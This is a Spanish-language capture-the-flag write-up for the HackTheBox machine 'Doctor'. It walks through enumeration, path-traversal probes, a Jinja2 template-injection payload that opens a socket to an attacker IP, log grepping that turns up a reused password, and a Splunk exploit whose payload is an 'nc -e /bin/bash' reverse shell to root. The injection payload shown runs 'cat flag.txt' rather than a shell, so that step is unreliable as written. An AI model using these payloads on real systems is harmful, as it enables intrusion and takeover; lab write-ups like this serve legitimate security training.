Volver atras HTB_Doctor | Savinotes

HTB_Doctor

Doctor {-}

Introduccion {-}

La maquina del dia se llama Doctor.

El replay del live se puede ver aqui

S4vitaar Doctor maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.209

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.209

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.209 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80,8089 10.10.10.209 -oN targeted
PuertoServicioQue se nos occure?Que falta?
22sshConneccion directausuario y contraseña
80httpWeb, Fuzzing
8089https splunkdWeb, Fuzzing

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.209

Es un Apache 2.4.41 en un Ubuntu. Vemos un email

 info@doctors.htb 

Podria ser un usuario y un dominio. Añadimos el dominio al

 /etc/hosts 

Checkear la web {-}

Si entramos en la url

 http://10.10.10.209 

, vemos una pagina de un cabinete de doctor. Navigamos un poco en la web pero no hay nada interesante. Si entramos en la web por el dominio

 http://doctors.htb 

vemos una nueva pagina. Se esta aplicando virtual hosting. Esta pagina es un login. El wappalizer nos dice que es un Flask en python.

Aqui de seguida pensamos en un Template Injection.

De primeras creamos un nuevo usuario en el panel de registro. Vemos que nuestra cuenta a sido creada con un limite de tiempo de 20 minutos. Nos loggeamos y vemos un boton con un numero 1. Si pinchamos, vemos en la url

 http://doctors.htb/home?page=1 

. Miramos si se puede aplicar un LFI

http://doctors.htb/home/page=/etc/passwd
http://doctors.htb/home/page=../../../../../../../../etc/passwd
http://doctors.htb/home/page=../../../../../../../../etc/passwd%00
http://doctors.htb/home/page=../../../../../../../../etc/passwd?

Aqui no vemos nada.

Hay un link en la pagina para redactar un nuevo mensaje.

Title: EEEEEEEEE
Content: Hola

Aqui vemos que el mensaje esta visible en la pagina.

[ ! ] NOTAS: Tito nos habla de probar un RFI (Remote File Inclusion) que seria algo que probar pero nos adelanta que no funcciona en este caso.

Aqui miramos de Injectar etiquetas HTML y XSS pero no funcciona.

Vulnerability Assessment {-}

Server Side Template Injection {-}

Title: {{9*9}}
Content: {{2*3}}

Vemos que en esta parte no nos lo interpreta. Si miramos el codigo fuente, vemos que hay un link que esta en la url

 http://doctors.htb/archive 

y que esta en beta testing.

Si vamos a la url en question, hay una pagina blanca pero si otra vez, miramos el codigo fuente, en este caso de la pagina

 /archive 

, podemos ver que hay un numero 81. Quiere decir que en el directorio archive esta interpretando el SSTI de los mensajes.

El caso del SSTI nos permite injectar comandos a nivel de systema usando el systema de templating. Si vamos a la carpeta Server Side Template Injection de la pagina de payloadallthethings podemos copiar la Injeccion de Jinja2 Exploit the SSTI by calling Popen without guessing the offset

Vuln exploit & Gaining Access {-}

Ganando accesso con SSTI {-}

  1. Nos ponemos en escucha por el puerto 443

  2. Creamos un nuevo mensaje con el payload

    Title: {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.7\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
    Content: TEST
  3. Recargamos la url

 http://doctors.htb/archive 

Boom… estamos en la maquina victima.

whoami
#Output
web

hostname -I

Somos web y estamos en la maquina victima. Hacemos el tratamiento de la TTY.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Userpivoting {-}

cd /home
grep "$sh" /etc/passwd
cd /root
id

Aqui podemos ver que hay usuarios splunk y shaun y que estamos en el grupo

 adm 

. Podriamos visualisar los logs

cd /var/log
grep -r -i "pass"
grep -r -i "pass" 2>/dev/null

Vemos en el apache2/backup que hay una peticion POST para resetear una contraseña

 Guitar123 
su shaun
Password: Guitar123

cat /home/shaun/user.txt

Privilege Escalation {-}

Rootear la maquina {-}

id
sudo -l
cd /
ls -l
cd /opt

Aqui vemos un directory splunkforward. Nos hace pensar que teniamos un puerto 8089 abierto con un splunkd. Si vamos a esta url

 https://10.10.10.209:8089 

vemos un servicio splunkd.

Aqui podemos tirar de un exploit en el github de cnotin que permite hacer un Local o un Remote privilege escalation. En este caso utilizaremos el Remoto.

git clone https://github.com/cnotin/SplunkWhisperer2
cd SplunkWhisperer2
ls
python3 PySplunkWhisperer2_remote.py

aqui vemos como se utiliza. Intentamos primeramente enviar una traza ICMP a nuestra maquina para ver si funcciona.

  1. Nos ponemos en escucha por traza ICMP

    tcpdump -i tun0 icmp -n
  2. lanzamos el exploit para enviar una traza ICMP

    python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.7 --username shaun --password Guitar123 --payload "ping -c 1 10.10.14.7"

Vemos que recibimos la traza. Ahora nos mandamos una reverse shell

  1. Nos ponemos en escucha por el puerto 443

    nc -nlvp 443
  2. lanzamos el exploit para entablar una reverse shell

    python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.7 --username shaun --password Guitar123 --payload "nc.traditional -e /bin/bash 10.10.14.7 443"

La conneccion esta entablada.

whoami
#Output
root